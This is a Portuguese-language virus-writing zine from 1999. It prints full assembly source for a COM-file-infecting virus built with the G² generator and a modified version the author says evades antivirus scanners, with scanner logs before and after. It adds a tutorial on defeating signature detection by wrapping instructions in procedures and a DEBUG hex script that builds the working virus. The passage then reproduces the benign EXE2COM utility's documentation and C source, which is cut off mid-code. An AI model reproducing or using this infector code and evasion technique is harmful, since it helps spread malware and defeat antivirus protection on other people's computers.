Virus Brasil2:(VIRBR02.TXT):14/07/1999 << Back To Virus Brasil2

█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ █ / __ ___ __ __ __ ___ . █ █ | / | |__) | | (__ | _) |__) |__| (__ | | █ █ |/ | | \ |___| ___) |__) | \ | | ___) | |___ █ █ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ║│▌│▐║│║▐▌│║█│║ 02 ║│▌│▐║│║▐▌│║█│║ ║│▐│ 9 ║770169║221097║ ║│▐│ Virus Brasil nº 2 Abril/Maio/Junho 1999 HomePage : http://wwww.fortunecity.com/campus/medicine/120 Remind : surf.to/virusbrasil E-mail : nim_bus@hotmail.com ──────────────────────────────────────────────────────────────────────────────── ___ ___ ___ ___ __ ___ | | | |\ | | |__ | | | \ | | |___ |___| | \| | |___ |___| |__/ |___| ──────────────────────────────────────────────────────────────────────────────── Conteudo: ────────── 1 - Editorial ( que e' de lei ter um ...). 2 - Como criar novos virus (indetectaveis) aos anti-virus . 3 - Goma_G2 (Script File) 4 - EXE2COM ( Conversor de Arquivos .EXE para .COM Contem UUencode e fontes em C ) 5 - Goma_EXE (Codigo Fonte) 6 - Goma_EXE (Script File) 7 - Virus de Boot 8 - GomaBoot_Trojan (Codigo Fonte) 9 - GomaBoot_Trojan (Script File) 10 - Valeu (Ate'julho ...) 11 - Special Thanks ──────────────────────────────────────────────────────────────────────────────── ___ __ . ___ ___ __ . __ |__ | \ | | | | |__) | |__| | |___ |__/ | | |___| | \ | | | |___ ──────────────────────────────────────────────────────────────────────────────── 1. Editorial ────────────── Bom, creio que se voce ja leu o primeiro numero de virus brasil deve saber o estilo do zine, nao puxo o saco de ninguem, muito menos quero fa- zer o zine sozinho; tento compartilhar um pouco do conhecimento que tenho com os demais e creio que estou dando conta dessa parte ... Quero me desculpar pela home page do zine, mas foi o que deu pra fa- zer assim meio que de susto, quando eu arrumar um fim de semana sem nada para ("ser obrigado a") fazer eu prometo que deixarei a pagina pelo menos acessivel e com algumas papagaiadas (links, banners, downloads e tudo ma- is, se pans ponho ate uma musica). Por incrivel que pareca, nao tenho internet em casa, meu modem pifou ja faz uma carinha e como to sem grana ainda nao deu pra comprar outro, estou dizendo isso caso voce me mande um e-mail e eu demore a responder, eu sei que tal fato nao justifica um possivel atraso, mas o explica. Estou com um probleminha no zine, eu nao rodo Windows em casa e te- nho vontade de possibilitar fontes de Virus de Macro no Zine como nao me arrisquei ainda a testar alguns macros nos computadores da facu e da fir- ma, exitei em colocar algum nessa edicao, sem testa-los, e sem estar a par do seu algoritmo logico. Peco desculpas, creio que na proxima edicao devemos ter algum macro virus por ai (nacional e' claro !). Estou procurando os fontes do virus de boot Leandro&Kelly, mas esta foda, ainda nao achei, caso voce tenha os fontes (os fontes; a listagem do Dorival eu ja tenho), favor mandar por e-mail, ou se tiver o virus ja compilado em formato Binario tambem aceito. Quero fazer uma materia da hora sobre o LK. Como o LK é um vírus de Boot, e a organizacao do boot é um pouco di- ferente coloquei uma materia sobre virus de boot no zine, peco desculpas pois estou realmente sem tempo (o trampo e a facu tao foda), peco descul- pas, pois nao tive tempo de fazer um virus de boot e para que a materia sobre virus de boot nao ficasse sem um exemplo, fiz um trojan de boot e coloquei ai, prometo que mais adiante farei um virus de boot, pelo menos um de Disquetes. Creio que com a implementacao de um trojan alguns possam ficar indi- gnados, mas optei por coloca-lo a deixar a materia sem exemplo. E afinal eu que escrevo essa porra e ponho o que eu quizer. Essa edicao de Virus Brasil, creio que sera tao interessante quanto a numero 1, a maioria das "promessas" da ultima edicao estao aqui, como o GOMA_EXE , o GOMA_G² (a partir do ps-mpc) entre outros ... Acho que fico por aqui nao vou mais ficar enrolando, voce le ai em cima em CONTEUDO e descobre o que te espera nesse segundo numero ... Ate mais Nim Bus ──────────────────────────────────────────────────────────────────────────────── __ ___ ___ / __ . __ |\/| |__| | |__ |__) | |__| | | | | | |___ | \ | | | ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────── 2 - Como criar novos virus (indetectaveis) aos anti-virus . ──────────────────────────────────────────────────────────── Bom, creio que essa seja uma materia muito importante para voce a- prender de vez como burlar os anti-virus. Para voce que ja fez um virus (tipo um com infector bem fulero), e voce compilou, rodou e tudo funcionou direitinho, e na hora de passar pe- lo anti-virus "Bip" (acusa que pode ser um virus desconhecido ou ja' fala que e' um Howard ou um type COM). Caralho e' meu virus, nao pode ser ! Entao se tem mo trampo em ten- tar reestruturar a fonte do virus, tentando despistar os anti-virus e o baguio continua apitando, se voce ja leu algum virus brasil, deve se uti- lizar das rotinas que despistam as flags (Virus Brasil nº01) que ajudam muito nessa parte e e' quase certo que seu virus sera 100 % new . Especificamente essa materia nao trata bem disso, nao tem um COM infector fuleiro tem um PS-MPC, gerado pelo G quadrado, ou seja, ja e' um virus mais trabalhado e tal, qualquer dia eu ponho um com infector fulero na fita para voces sentirem o drama !!!. Falei, falei e nao disse quase nada, vamos direto ao assunto, essa materia tem dois fontes de virus praticamente os mesmos, quero dizer, sao o mesmo virus, so' que um levou algumas adaptacoes de minha parte e dei- xou de ser o virus antigo e passou a ser o que eu resolvi chamar de Goma_ G² Virus, interessante, nao ? O antigo ta ai para voce ter uma base das modificacoes implementadas e que essa materia seja de muita importancia para voce, seu preguicoso ! ───────────────────────────────────────────────────────────────────── Fonte Gerada pelo G² sem qualquer modificacao. ───────────────────────────────────────────────────────────────────── ;; Arquivo CFG que gerou o virus ;;; Filename = virus.asm ; Infect = C ; VirusName = [G² Virus] ; AuthorName = Phalcon/Skism ; Resident = N ; Encryption = N ; MinSize = 0 ; MaxSize = A ; Infections = 3 ; ErrorHandler = N ; CommandCom = Y ; AllowZero = Y ; AntiDebugger = N ; ;; Arquivo CFG que gerou o virus ;;; ;;;;;;;;;;;;;;;;;;;;;;;;; Fonte Original pelo G² ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Virus generated by G² 0.70ß ; G² written by Dark Angel of Phalcon/Skism ; File: VIRUS.ASM ; [G² Virus] by Phalcon/Skism .model tiny .code ; Assemble with: ; TASM /m3 filename.ASM ; TLINK /t filename.OBJ org 0100h carrier: db 0E9h,0,0 ; jmp start start: mov bp, sp int 0003h next: mov bp, ss:[bp-6] sub bp, offset next lea dx, [bp+offset newDTA] mov ah, 001Ah ; Set DTA int 0021h lea si, [bp+offset origdir+1] mov ah, 0047h ; Get directory cwd ; Default drive int 0021h restore_COM: mov di, 0100h push di lea si, [bp+offset old3] movsb movsb movsb mov byte ptr [bp+numinfect], 0000h traverse_loop: lea dx, [bp+offset COMmask] call infect cmp [bp+numinfect], 0003h jae exit_traverse ; exit if enough infected mov ah, 003Bh ; CHDIR lea dx, [bp+offset dot_dot] ; go to previous dir int 0021h jnc traverse_loop ; loop if no error exit_traverse: lea si, [bp+offset origdir] mov byte ptr [si], '\' xchg dx, si mov ah, 003Bh ; restore directory int 0021h mov dx, 0080h ; in the PSP mov ah, 001Ah ; restore DTA to default int 0021h return: ret old3 db 0cdh,20h,0 infect: mov cx, 0007h ; all files mov ah, 004Eh ; find first findfirstnext: int 0021h jc return mov ax, 4300h lea dx, [bp+newDTA+30] int 0021h jc return push cx push dx mov ax, 4301h ; clear file attributes push ax ; save for later use xor cx, cx int 0021h lea dx, [bp+newDTA+30] mov ax, 3D02h int 0021h xchg ax, bx mov ax, 5700h ; get file time/date int 0021h push cx push dx lea dx, [bp+offset readbuffer] mov cx, 001Ah mov ah, 003Fh int 0021h mov ax, 4202h xor cx, cx cwd int 0021h cmp word ptr [bp+offset readbuffer], 'ZM' jz jmp_close mov cx, word ptr [bp+offset readbuffer+1] ; jmp location add cx, heap-start+3 ; convert to filesize cmp ax, cx ; equal if already infected jl skipp jmp_close: jmp close skipp: cmp ax, 65535-(endheap-start) ; check if too large ja jmp_close ; Exit if so lea di, [bp+offset old3] lea si, [bp+offset readbuffer] movsw movsb sub ax, 0003h mov word ptr [bp+offset readbuffer+1], ax mov dl, 00E9h mov byte ptr [bp+offset readbuffer], dl mov cx, heap-start mov ah, 0040h ; concatenate virus lea dx, [bp+offset start] int 0021h xor dx, dx xor cx, cx mov ax, 4200h int 0021h mov ah, 0040h mov cx, 0003h lea dx, [bp+offset readbuffer] int 0021h inc [bp+numinfect] close: mov ax, 5701h ; restore file time/date pop dx pop cx int 0021h mov ah, 003Eh int 0021h pop ax ; restore file attributes pop dx ; get filename and pop cx ; attributes from stack int 0021h mov ah, 004Fh ; find next jmp findfirstnext signature db '[PS/G²]',0 ; Phalcon/Skism G² creator db 'Phalcon/Skism',0 virusname db '[G² Virus]',0 COMmask db '*.COM',0 dot_dot db '..',0 heap: newDTA db 43 dup (?) origdir db 65 dup (?) numinfect db ? readbuffer db 1ah dup (?) endheap: end carrier ;;;;;;;;;;;;;;;;;;;;;;;;; Fonte Original pelo G² ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ───────────────────────────────────────────────────────────────────── O que os anti-virus disseram do arquivo apos compilacao/linkedicao ? ───────────────────────────────────────────────────────────────────── AVP ─── ■ AntiViral Toolkit Pro by Eugene Kaspersky [Version 3.0 Build 126] ■ Report: 22-10-1997 04:00:00 ■ Command line: C: ░ Boot Sector : ok D: ░ Boot Sector : ok E: ░ Boot Sector : ok HDD1░ Master Boot Record : ok HDD1░ Active Boot Sector : ok HDD1░ Not Active Boot Sector : ok A:\VIRUS.COM : infected by G2-based Detected: 1 viruses Scanned: 1 file 0 directories 0 Kbytes Scan time: 00:00:00 F-PROT ────── Virus scanning report - 22. October 1997 04:00 F-PROT 3.03 SIGN.DEF created 12. October 1998 MACRO.DEF created 9. October 1998 Search: a:\ Action: Disinfect/Query Files: "Dumb" scan of all files Switches: /ARCHIVE /PACKED /COLLECT /LIST /APPEND No viruses found in memory. No viruses were found in MBRs or hard disk boot sectors. A:\VIRUS.COM Infection: New or modified variant of PS-MPC Viruses cannot be disinfected unless they are identified. Results of virus scanning: Files: 1 MBRs: 1 Boot sectors: 3 Objects scanned: 5 Infected: 1 Suspicious: 0 Disinfected: 0 Deleted: 0 Renamed: 0 Time: 0:00 TBAV ──── Thunderbyte virus detector v8.08 - (C) Copyright 1989-1998 Thunderbyte B.V.  TbScan report, 22-10-1998 04:00:00 Parameters: ll=3 qs co hm rp ld fc hr lo tn ln=e:\testes\tbav.log a:\ Register : Nim Bus A:\VIRUS.COM infected by PS-MPC.G2.429/513/615 virus c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. Z EXE/COM determination. The program tries to check whether a file is a COM or EXE file. Viruses need to do this to infect a program. O Found code that can be used to overwrite/move a program in memory. Found 1 files in 0 directories, 1 files seem to be executable. 0 files were checked for changes, 0 files have been changed. 1 files are infected by one or more viruses ───────────────────────────────────────────────────────────────────── Fonte Gerada pelo G² (Agora eu a modifiquei) ───────────────────────────────────────────────────────────────────── ;; Arquivo CFG que gerou o virus ;;; Filename = virus.asm ; Infect = C ; VirusName = [GOMA G² Virus] ; AuthorName = Phalcon/Skism/Nim Bus ; Resident = N ; Encryption = N ; MinSize = 0 ; MaxSize = A ; Infections = 3 ; ErrorHandler = N ; CommandCom = Y ; AllowZero = Y ; AntiDebugger = N ; ;; Arquivo CFG que gerou o virus ;;; ;;;;;;;;;;;;;;;;;;;;; Fonte pelo G² Alterada por mim ;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Virus generated by G² 0.70ß ; G² written by Dark Angel of Phalcon/Skism ; File: VIRUS.ASM ; [G² Virus] by Phalcon/Skism .model tiny .code ; Assemble with: ; TASM /m3 filename.ASM ; TLINK /t filename.OBJ org 0100h carrier: db 0E9h,0,0 ; jmp start start: mov bp, sp int 0003h next: mov bp, ss:[bp-6] sub bp, offset next lea dx, [bp+offset newDTA] mov ah, 001Ah ; Set DTA call int_21_h ;;;;;;;;;;;;;;;;; I ;;;;;;;;;;;;;;;; lea si, [bp+offset origdir+1] mov ah, 0047h ; Get directory cwd ; Default drive call int_21_h restore_COM: mov di, 0100h push di lea si, [bp+offset old3] call mover_string ;;;;;;;;;;;;;;;;; II ;;;;;;;;;;;;;;;; mov byte ptr [bp+numinfect], 0000h traverse_loop: lea dx, [bp+offset COMmask] call infect cmp [bp+numinfect], 0003h jae exit_traverse ; exit if enough infected mov ah, 003Bh ; CHDIR lea dx, [bp+offset dot_dot] ; go to previous dir call int_21_h jnc traverse_loop ; loop if no error exit_traverse: lea si, [bp+offset origdir] mov byte ptr [si], '\' xchg dx, si mov ah, 003Bh ; restore directory call int_21_h ;mov dx, 0080h ; in the PSP ;mov ah, 001Ah ; restore DTA to default call essa ;;;;;;;;;;;;;;;; III ;;;;;;;;;;;;;;;; int 0021h return: ret old3 db 0cdh,20h,0 infect: mov cx, 0007h ; all files mov ah, 004Eh ; find first findfirstnext: int 0021h jc return mov ax, 4300h lea dx, [bp+newDTA+30] call int_21_h jc return push cx push dx mov ax, 4300h ; clear file attributes inc al ; Despistando AV (4300 + 1 = 4301) push ax ; save for later use xor cx, cx call int_21_h lea dx, [bp+newDTA+30] mov ax, 3D02h call int_21_h xchg ax, bx mov ax, 5700h ; get file time/date call int_21_h push cx push dx lea dx, [bp+offset readbuffer] ; mov cx, 001Ah ; mov ah, 003Fh call noia ;;;;;;;;;;;;;;;;; IV ;;;;;;;;;;;;;;;; int 21h mov ax, 4202h xor cx, cx cwd call int_21_h ;cmp word ptr [bp+offset readbuffer], 'ZM' cmp byte ptr [bp+offset readbuffer], 'M' jz jmp_close mov cx, word ptr [bp+offset readbuffer+1] ; jmp location add cx, heap-start+3 ; convert to filesize cmp ax, cx ; equal if already infected jl skipp jmp_close: jmp close skipp: cmp ax, 65535-(endheap-start) ; check if too large ja jmp_close ; Exit if so lea di, [bp+offset old3] lea si, [bp+offset readbuffer] call mover ;movsw ;;;;;;;;;;;;;;;;; V ;;;;;;;;;;;;;;;; ;movsb sub ax, 0003h mov word ptr [bp+offset readbuffer+1], ax mov dl, 00E9h mov byte ptr [bp+offset readbuffer], dl mov cx, heap-start mov ah, 0040h ; concatenate virus lea dx, [bp+offset start] call int_21_h xor dx, dx xor cx, cx mov ax, 4200h call int_21_h ;mov ah, 0040h ;mov cx, 0003h call escreve ;;;;;;;;;;;;;;;;; VI ;;;;;;;;;;;;;;;; lea dx, [bp+offset readbuffer] call int_21_h inc [bp+numinfect] close: mov ax, 5700h ; restore file time/date inc al ; Despistando AV (5700 + 1 = 5701) pop dx pop cx call int_21_h mov ah, 003Eh call int_21_h pop ax ; restore file attributes pop dx ; get filename and pop cx ; attributes from stack call int_21_h mov ah, 004Fh ; find next jmp findfirstnext mover_string: movsb movsb movsb ret mover: movsw movsb ret escreve: mov ah, 0040h mov cx, 0003h ret noia: mov cx, 001Ah mov ah, 003Fh ret essa: mov dx, 0080h ; in the PSP mov ah, 001Ah ; restore DTA to default ret int_21_h: int 0021h ret signature db "[TDG'99]",0 ; Phalcon/Skism G² creator db 'Nim Bus',0 virusname db '[Goma G² Virus]',0 COMmask db '*Goma G².COM',0 dot_dot db '..',0 heap: newDTA db 43 dup (?) origdir db 65 dup (?) numinfect db ? readbuffer db 1ah dup (?) endheap: end carrier ;;;;;;;;;;;;;;;;;;;;; Fonte pelo G² Alterada por mim ;;;;;;;;;;;;;;;;;;;;;;;;;;; ───────────────────────────────────────────────────────────────────── O que os anti-virus disseram do arquivo apos compilacao/linkedicao ? ───────────────────────────────────────────────────────────────────── AVP ─── ■ AntiViral Toolkit Pro by Eugene Kaspersky [Version 3.0 Build 126] ■ Report: 22-10-1998 04:00:00 ■ Command line: C: ░ Boot Sector : ok D: ░ Boot Sector : ok E: ░ Boot Sector : ok HDD1░ Master Boot Record : ok HDD1░ Active Boot Sector : ok HDD1░ Not Active Boot Sector : ok A:\VIRUS.COM : ok No viruses detected Scanned: 1 files 0 directories 0 Kbytes Scan time: 00:00:00 F-PROT ────── Virus scanning report - 10. October 1998 04:00 F-PROT 3.03 SIGN.DEF created 12. October 1998 MACRO.DEF created 9. October 1998 Search: a:\ Action: Disinfect/Query Files: "Dumb" scan of all files Switches: /ARCHIVE /PACKED /COLLECT /LIST /APPEND No viruses found in memory. No viruses were found in MBRs or hard disk boot sectors. A:\VIRUS.COM Results of virus scanning: Files: 1 MBRs: 1 Boot sectors: 3 Objects scanned: 5 Infected: 1 Suspicious: 0 Disinfected: 0 Deleted: 0 Renamed: 0 Time: 0:00 No viruses or suspicious files/boot sectors were found. TBAV ──── Thunderbyte virus detector v8.08 - (C) Copyright 1989-1998 Thunderbyte B.V.  TbScan report, 22-10-1998 04:00:00 Parameters: ll=3 qs co hm rp ld fc hr lo tn ln=e:\testes\tbav.log a:\ Register : Nim Bus A:\VIRUS.COM c No checksum / recovery information (Anti-Vir.Dat) available. Found 1 files in 0 directories, 1 files seem to be executable. 0 files were checked for changes, 0 files have been changed. 0 files are infected by one or more viruses ───────────────────────────────────────────────────────────────────── Comenta'rios ───────────────────────────────────────────────────────────────────── Esse tipo de tecnica de modificacao de virus, se baseia numa ideia muito simples, se o anti-virus procura por uma determinada sequencia de bytes, devemos encontra-la e modifica-la. O metodo mais simples de modi- ficar um trecho do programa e' pegar tal trecho, copia-lo em uma procedu- re e chamar a procedure. I lea dx, [bp+offset newDTA] mov ah, 001Ah call int_21_h Ao chamarmos uma procedure que chama a int 21 ao inves de chama-la direto, quebramos a sequencia que o anti-virus procura (aumentamos sim o tamanho do virus, mas e' um artificio muito util) que despista flags e desse modo, o anti-virus passa lotado nessa parte. II call mover_string V call mover Na restauracao do arquivo COM, o anti virus espera pelas instrucoes (MOVS?) porem, tambem nao as encontra onde procura, pois colocamos uma procedure que realiza tal trabalho e simplesmente a chamamos. III ;mov dx, 0080h ; in the PSP ;mov ah, 001Ah ; restore DTA to default call essa ;;;;;;;;;;;;;;;; III ;;;;;;;;;;;;;;;; int 0021h IV lea dx, [bp+offset readbuffer] ; mov cx, 001Ah ; mov ah, 003Fh call noia ;;;;;;;;;;;;;;;;; IV ;;;;;;;;;;;;;;;; int 21h VI ;mov ah, 0040h ;mov cx, 0003h call escreve ;;;;;;;;;;;;;;;;; VI ;;;;;;;;;;;;;;;; lea dx, [bp+offset readbuffer] call int_21_h Aqui caso o anti virus encontre : mov dx,80h mov ah,1Ah Seguidos da chamada da int 21 (Executar a funcao). Ou encontre qualquer uma das instrucoes que estao sendo ignoradas (viraram procedures) o an- ti-virus indicara' que pode se tratar de um virus, se ao inves de criar- mos as procedures, tivessemos chamado a procedure da int21, teriamos er- ro pois o anti-virus procuraria a procedure e constatatia que se trata da int 21 e acusaria que pode ser um virus. Bom acho que e' isso ai sem mais . ─────────────────────────────────────────────────────────────────────────────── ___ ___ __ . __ ___ (__ | |__) | |__) | ___) |___ | \ | | | ─────────────────────────────────────────────────────────────────────────────── ──────────────────────────────── 3 - Goma_G2 (Script File) ──────────────────────────────── Essa parte do zine contem um script para ser utilizado no debug do dos, esse script cria o virus Goma_G2 a partir do debug pelo simples co- mando: DEBUG < (arquivo.scr) ;;;;;;;;;;;;;;;;;; GOMA_G2.SCR ;;;;;;;;;;;;;;;;;;;;;;;; N GOMA_G2.COM E 0100 E9 00 00 8B EC CC 8B 6E FA 81 ED 06 01 8D 96 64 E 0110 02 B4 1A E8 1A 01 8D B6 90 02 B4 47 99 E8 10 01 E 0120 BF 00 01 57 8D B6 5D 01 E8 EC 00 C6 86 D0 02 00 E 0130 8D 96 54 02 E8 29 00 80 BE D0 02 03 73 0B B4 3B E 0140 8D 96 61 02 E8 E9 00 73 E7 8D B6 8F 02 C6 04 5C E 0150 87 D6 B4 3B E8 D9 00 E8 D0 00 CD 21 C3 CD 20 00 E 0160 B9 07 00 B4 4E CD 21 72 F3 B8 00 43 8D 96 82 02 E 0170 E8 BD 00 72 E7 51 52 B8 00 43 FE C0 50 33 C9 E8 E 0180 AE 00 8D 96 82 02 B8 02 3D E8 A4 00 93 B8 00 57 E 0190 E8 9D 00 51 52 8D 96 D1 02 E8 88 00 CD 21 B8 02 E 01A0 42 33 C9 99 E8 89 00 80 BE D1 02 4D 74 0C 8B 8E E 01B0 D2 02 81 C1 64 01 3B C1 7C 02 EB 41 3D 17 FE 77 E 01C0 F9 8D BE 5D 01 8D B6 D1 02 E8 4F 00 2D 03 00 89 E 01D0 86 D2 02 B2 E9 88 96 D1 02 B9 61 01 B4 40 8D 96 E 01E0 03 01 E8 4B 00 33 D2 33 C9 B8 00 42 E8 41 00 E8 E 01F0 2C 00 8D 96 D1 02 E8 37 00 FE 86 D0 02 B8 00 57 E 0200 FE C0 5A 59 E8 29 00 B4 3E E8 24 00 58 5A 59 E8 E 0210 1E 00 B4 4F E9 4E FF A4 A4 A4 C3 A5 A4 C3 B4 40 E 0220 B9 03 00 C3 B9 1A 00 B4 3F C3 BA 80 00 B4 1A C3 E 0230 CD 21 C3 5B 54 44 47 27 39 39 5D 00 4E 69 6D 20 E 0240 42 75 73 00 5B 47 6F 6D 61 20 47 FD 20 56 69 72 E 0250 75 73 5D 00 2A 47 6F 6D 61 FF 47 FD 2E 43 4F 4D E 0260 00 2E 2E 00 RCX 0164 W Q ;;;;;;;;;;;;;;;;;; GOMA_G2.SCR ;;;;;;;;;;;;;;;;;;;;;;;; Bom ta ai o script do virus, as explicacoes e comentarios do virus se encontram na materia acima ... ────────────────────────────────────────────────────────────────────────────── ___ . | | | | | |___| | | |___ ────────────────────────────────────────────────────────────────────────────── ─────────────── 4 - EXE2COM ─────────────── Nessa segunda edicao do zine virus brasil, levamos ate' voce um pro- grama muito parecido com o EXE2BIN, que lhe sera muito util na confeccao de seus virus de boot e em seus TSR's, seguem em anexo a documentacao original do arquivo, a fonte em C, do mesmo e o programa (UUencodado) pa- ra quem nao tiver o compilador de C em casa. Acho que e' so isso. E' um utilitario nada mais que isso ... ───────────────────────────────────────────────────────────────────── Documento que vem junto com o original ───────────────────────────────────────────────────────────────────── EXE2COM 1.04 By Chris Dunford/Cove Software | indicates information changed/added in recent versions. Purpose ------- EXE2COM is a one-for-one replacement for the EXE2BIN program that was formerly distributed with DOS. Beginning with DOS 3.3, EXE2BIN has been moved to the disk that comes with the DOS Technical Reference and thus is not available without extra cost. Usage ----- Usage is identical to DOS's EXE2BIN except that the output file extension defaults to COM rather than BIN, and there is an optional switch that displays EXE file information rather than converting the file to COM. Complete usage is: EXE2COM [/I] [d:][path]file[ext] [d:][path][file][ext] The drive and path of the first file default to the current drive and path, if not specified. The extension of the first file defaults to EXE, if not specified. If the second file is completely unspecified, it defaults to the same drive, path, and filename as the first, except that the extension will be COM. If the second file is specified but without an extension, COM will be assumed (this is different from EXE2BIN). | If /I is specified, information about the EXE file is displayed | and no conversion is performed. The output file name, if | specified, is ignored. The simplest (and usual) usage is simply: EXE2COM file which will take the named EXE file in the current directory and convert it to a COM file in the same directory. Operation --------- EXE2COM runs the same way as EXE2BIN, with the following exceptions: 1. The binary fixup option of EXE2BIN (IP=0, segment fixups required) is not supported. 2. The EXE file checksum is not verified. 3. Error messages are more useful, and a warning is provided if a COM file is created with an initial IP other than 100H. 4. The default output file extension is COM rather than BIN. | Information display | ------------------- | If you use the /I switch, EXE2COM just displays information | about the EXE file and does not attempt to convert it to COM | (therefore, the EXE file need not be a convertible file). Here | is a typical display, resulting from running EXE2COM on itself | (version 1.04) with the /I switch: | | exe2com.exe (hex) (dec) | EXE file size 396B 14699 | EXE header size (para) 20 32 | Program image size (bytes) 376B 14187 | Minimum load size (bytes) 8CDB 36059 | Min allocation (para) 557 1367 | Max allocation (para) FFFF 65535 | * Initial CS:IP 0000:072C | * Initial SS:SP 084D:0800 2048 (stack size) | * Relocation count 4 4 | Relo table start 001E 30 | EXE file checksum 411D 16669 | Overlay number 0 0 | * = this item prevents conversion to BIN/COM | | The fields that may need some explanation: | | Program image size: this is the size of the program itself | (i.e., the size of the EXE file less the size of the header | information). This much memory is required to load a copy of | the program's code and pre-allocated data. | | Minimum load size: at least this much free memory is required in | order to run the program. | | Min/max allocation: the minimum/maximum number of 16-byte | paragraphs that will be needed above the end of the program | image when it is loaded. Minimum load size is the sum of the | program image size and the minimum allocation. | | If an item is starred (*), this prevents the EXE file from being | converted to a COM file. Error Messages -------------- These are EXE2COM's error messages. If one of these is seen, the EXE file will not be converted and the errorlevel returned by EXE2COM will be 1. ERROR READING EXE HEADER EXE2COM was unable to read the EXE file header from disk. ERROR WRITING OUTPUT FILE EXE2COM was unable to write the converted file to disk. INVALID EXE FILE SIGNATURE The first two bytes of an EXE file should be ASCII 'M' and 'Z'. This was not the case, and it's probably not an EXE file. EXE HAS RELOCATABLE ITEMS In order to be converted to a COM file, an EXE file cannot have any direct references to segments. For example, the assembler instruction "mov ax,code" (where CODE is a segment name) is a segment reference. One or more segment references were found in the EXE file. EXE HAS STACK SEGMENT In order to be converted to a COM file, an EXE file cannot have a stack segment. EXE HAS NONZERO CS In order to be converted to a COM file, an EXE file must have a code segment that begins at offset 0 of the code image in the EXE file. IP NOT 0 OR 100H In order to be converted to a binary file, an EXE file must have an entry point of 0 or 100H within the code segment. For COM files, the entry point should be 100H. For SYS files (device drivers), the entry point should be 0. PROGRAM EXCEEDS 64K In order to be converted to a binary file, the total size of the code to be loaded (including the PSP) must not exceed 64K bytes. UNKNOWN ERROR Internal error. Notify the author. Warning message --------------- EXE2COM has one warning message: COM FILE, INITIAL IP NOT 100H The entry point of all COM files should be 100H. If you are creating a COM file an the entry point is not 100H, EXE2COM will do the job but let you know that there is a potential problem. Source ------ Source code should be included with this archive. Users are encouraged to modify, improve, and/or correct the source for EXE2COM and submit the new program to the author for distribution. Please identify clearly any changes made and stick with portable code (no inline assembler, PLEASE). Source for EXE2COM was written for the Microsoft C compiler (v.5.0) but will also compile correctly with Borland's Turbo C (v.1.5). It should be easily portable to most other compilers. Public domain ------------- EXE2COM is hereby donated by the author to the public domain. History ------- Version 1.00 04/17/87: Original version by Christopher J. Dunford The Cove Software Group PO Box 1072 Columbia, MD 21044 (301) 992-9371 CompuServe 76703,2002 Version 1.01: port to Turbo C by Roger Schlafly Borland International Scotts Valley, CA 95066 CompuServe 76067,511 Version 1.02 11/22/87: bug fix for even 512-byte file made to Turbo C port by Chris Blum ( Consultant ) 509 West Main, Front Ashland, Ohio 44805 CompuServe 76625,1041 Chris Dunford duplicated the fix in the C86 source. Version 1.03 12/30/87: by Chris Dunford Ported to Microsoft C 5.0. This is now the "official" version. Increased size of I/O buffer to 4K for speed reasons. EXE2COM 1.03 is twice as fast as 1.02 and slightly faster than EXE2BIN. Version 1.04 03/08/88: by Chris Dunford Cleaned up some old code from the original quickie. Source should now compile under either MSC or TC. Added /I switch. In earlier versions, we defined an error code for nonzero CS, but didn't actually check; now we do. ───────────────────────────────────────────────────────────────────── Codigo Fonte (Original) em C ───────────────────────────────────────────────────────────────────── /* exe2com - exe2bin replacement by Chris Dunford/Cove Software usage: exe2com [/I] infile [outfile] usage is the same as exe2bin except: 1. Output defaults to COM rather than BIN 2. Binary fixup option not supported 3. Checksum not verified 4. Provides more useful error messages and a warning if a COM file is being created with initial IP != 0x100 5. /I switch provides EXE file info instead of converting Compiler notes: This source was written for Microsoft C version 5.0. It should be reasonably portable. Watch out for fseek(); what it returns seems to vary widely between compilers. To compile with MSC, use: cl exe2com.c (no switches necessary) We have checked that the source (as of version 1.04) compiles without error under Turbo C 1.5. It appears to operate correctly, but we ran only some quick tests; there may be subtle errors here. The original version of this program was knocked together in about an hour in response to the removal of EXE2BIN from the standard DOS distribution disks. Improvements/corrections are encouraged, but please try to coordinate public releases through me. Program donated to the public domain by the author. cjd 4/17/87 Version history --------------- Version 1.04 03/02/88 (CJD) Cleaned up some ugly code from the original quickie. Added /I (info) switch. In previous versions, we defined an error code for nonzero CS but didn't actually check it; now we do. Source will now compile under either Microsoft C or Turbo C. Version 1.03 12/30/87 (CJD) C86 version converted to Microsoft C (5.0) by Chris Dunford. Increased size of I/O buffer to 4K to improve speed; EXE2COM 1.03 is twice as fast as 1.02 and is now slightly faster than EXE2BIN. The C86 version will no longer be distributed. Version 1.02 11/22/87 by Chris Blum (CompuServe 76625,1041) Fix for even 512-byte boundary file losing last 512 bytes. Also corrected signon per request of Chris Dunford (his name was lost in the translation to Turbo C). Version 1.02 existed in both Turbo C and C86 versions, although only the C86 executable was "officially" distributed. Version 1.01 was a Turbo C conversion. Version 1.00 04/17/87 Original C86 version by Chris Dunford */ #include <stdio.h> #include <string.h> #include <ctype.h> /* Version coding */ #define MAJVER 1 #define MINVER 0 #define REVISION 4 /* Conversion error codes */ #define BADREAD 0 #define BADWRITE 1 #define BADSIG 2 #define HASRELO 3 #define HAS_SS 4 #define HAS_CS 5 #define BAD_IP 6 #define TOO_BIG 7 /* This must be the last code */ #define UNKNOWN 8 /* Define size of console output buffer */ #define CONBUFSIZ 2048 /* ** Define structure of fixed-format part of EXE file header */ struct exe_header { char exe_sig[2]; /* EXE file signature: "MZ" */ unsigned excess, /* Image size mod 512 (valid bytes in last page) */ pages, /* # 512-byte pages in image */ relo_ct, /* Count of relocation table entries */ hdr_size, /* Size of header, in paragraphs */ min_mem, /* Min required memory */ max_mem, /* Max required memory */ ss, /* Stack seg offset in load module */ sp, /* Initial value of SP */ cksum, /* File checksum */ ip, /* Initial value 